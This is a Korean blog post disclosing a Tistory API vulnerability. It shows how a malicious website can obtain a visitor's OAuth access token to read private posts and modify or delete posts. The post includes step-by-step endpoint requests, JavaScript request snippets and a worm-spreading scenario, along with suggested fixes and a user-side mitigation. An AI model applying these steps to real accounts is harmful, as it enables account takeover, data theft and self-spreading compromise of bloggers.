티스토리 API 보안 취약점

카테고리 : 보안/web

공격 난이도

  • 쉬움

 

취약 정도

  • 매우 높음
    • 악의적 스크립트 삽입 (XSS)
    • 글 암호화 (≒ Ransomware)
    • 비밀글, 비공개 글 열람
    • 광고글 삽입
    • 모든 글 삭제
  • 웜 형태로 배포 가능

사실상 계정탈취와 비슷한 수준

 

 

 

공격 흐름 (Flow)

등장 인물 : 피해자(A), 악의적 웹 사이트(티스토리가 아니어도 됨)

  1. 피해자(A)는 악의적 웹 사이트에 접속했습니다. (사이트는 피해자(A)의 티스토리 로그인 정보를 활용해 게시글을 열람/수정/삭제 할 수 있습니다.)

이 공격은 사용자측에서 사용자의 권한을 이용하여 서버를 속이는 형태의 과정으로 동작합니다.

 

 

악의적 사이트의 공격 과정

  1. 웹브라우저 상에서 로그인된 사용자의 access_token 획득하기 (로그인 되어있다면)
    GET 'https://www.tistory.com/oauth/authorize?client_id=<client_id>&redirect_uri=<uri>&response_type=token'

    클라이언트 아이디 전송만으로 Implicit 방식을 이용하여 사이트에 접속한 사용자의 계정에 접근가능한 token을 불러올 수 있습니다.

    2020-09-02 : 오픈 API 정책 변경으로 Oauth2 방식으로 중계서버이용시 token을 가져와서 아래 과정을 동일하게 가능합니다. 아래의 문구가 뜬다면, 동의하기전 믿을만한 서비스인지 다시한번 확인해주세요.

  2. xhr로 access_token을 API에 전송해서 로그인된 사용자의 블로그 목록 전부 획득
    GET 'https://www.tistory.com/apis/blog/info?access_token=<access_token>&output=json'
    
    var jsonobj=JSON.parse(xhr.responseText);
    
    for(var i=0;i<jsonobj.tistory.item.blogs.length;i++){
    	//jsonobj.tistory.item.blogs[i].name
    }
  3. xhr로 블로그내의 로그인된 사용자의 모든 글 목록 읽기
    GET 'https://www.tistory.com/apis/post/list?access_token=<access_token>&output=json&page=1&blogName=<name>'
    
    //blogName값은 전 단계에서 불러온 이름으로

    이 과정에서 비밀글/비공개 글 "내용"에 접근가능하다.

  4. 글 수정 API 호출
    POST 'https://www.tistory.com/apis/post/modify'
    
    xhr.send("access_token="+token
    	+"&output=json&blogName="+_bname
        +"&postId="+_id
        +"&title="+_title
        +"&content="+_content);

    글 목록에서 불러온 정보로 특정 지점만 수정하거나 완전히 새롭게 수정가능하다.

    기존 글에 script를 추가하거나, 글을 삭제/암호화, 광고글 작성 또한 가능하다.

 

 

 

웜 형태 배포 예시

방문자의 글을 수정하여 공격 스크립트 삽입, 스크립트에서 iframe을 넣고 iframe+공격서버로 API를 처리하게 만들면

방문자의 티스토리 방문자도 이 취약점에 노출됨.

 

따라서 시간이 조금 지나면 이론상 활동중인 모든 티스토리유저 감염가능.

 

그런데, 글 암호화가 가능하므로 처음에는 빈 script src 배포만 하다가 script를 변경하여 블로그 암호화를 한다면?

어마어마하게 큰 피해를 입을것임을 예상할 수 있습니다.

 

 

 

 

 

공격 가능 대상

  • 악의적으로 만들어진 사이트에 접속한 사람모두

- 포럼 등을 통해 유입가능

- 댓글(홈페이지)을 통해 유입가능

 

 

 

 

조치해야 할 점

권한

조치가능한 내용

쓰기 권한

이 문제를 간단히 수정하는 방법은 API요청이 바로 반영되는게 아닌 Queue에 올라간후 티스토리 관리자 페이지에서 수정 여부를 검토하여 블로그 주인이 API의 수정사항을 검토하는 방법이 있습니다.

티스토리 댓글 승인 과정처럼 변경사항을 표시하고 script추가를 방지하거나 사용자로 하여금 인지할 수 있게.

읽기 권한 API를 통해 비밀글과 비공개글 정보를 읽을수 없게 만드는 방법도 있습니다.

 

 

 

 

하고싶은 말

이 문제에 대해 최초 제보시점은 2019-09로 거의 1년이 된 심각한 보안 문제로 수정조치가 없다면 2020-09에 공개 할 수 있습니다.

 

내용을 악용하여 실제로 해킹을 시도 하는경우 정보통신망법률등에 의거 처벌받으실 수 있습니다.

 

 

 

추가 API 문제점

API등록시 읽기 쓰기 선택이 형식적임 : 읽기용으로 등록해도 쓰기 권한 이용 가능

 

 

 

 

사용자측 해결방법

특정 URI를 차단하면 이 문제로부터 자유로워집니다.

https://www.tistory.com/oauth/authorize*

특정 도메인이 아니므로 공유기와 Host파일로 URI차단은 불가하며,

프록시 기반 차단 방법 또는 브라우저 확장프로그램등으로 차단해야합니다.

 

만약 이 기능을 티스토리가 2020-08-31 까지도 수정하지 않아 일반에 공개시 티스토리 보안 확장프로그램(크롬, 파이어폭스)을 제작하여 같이 배포할 예정입니다.

 

 

저작권 보호안내
무단 전재, 재배포 행위는 금지됩니다. (글을 복사하여 게시금지)
본문의 일부(링크용 문장) 인용은 가능하지만, 출처와 링크(a 태그)를 남기셔야 됩니다.
(웹툴을 이용하고, 스크린샷/녹화하는것은 상관없습니다.)

예외적으로. 저에게 허락받은 경우에는 본문을 전재할 수 있습니다.

만약, 본문 공유를 원하신다면 링크 공유를 해주세요

저작권 정책 확인하기
링크 공유하기

 댓글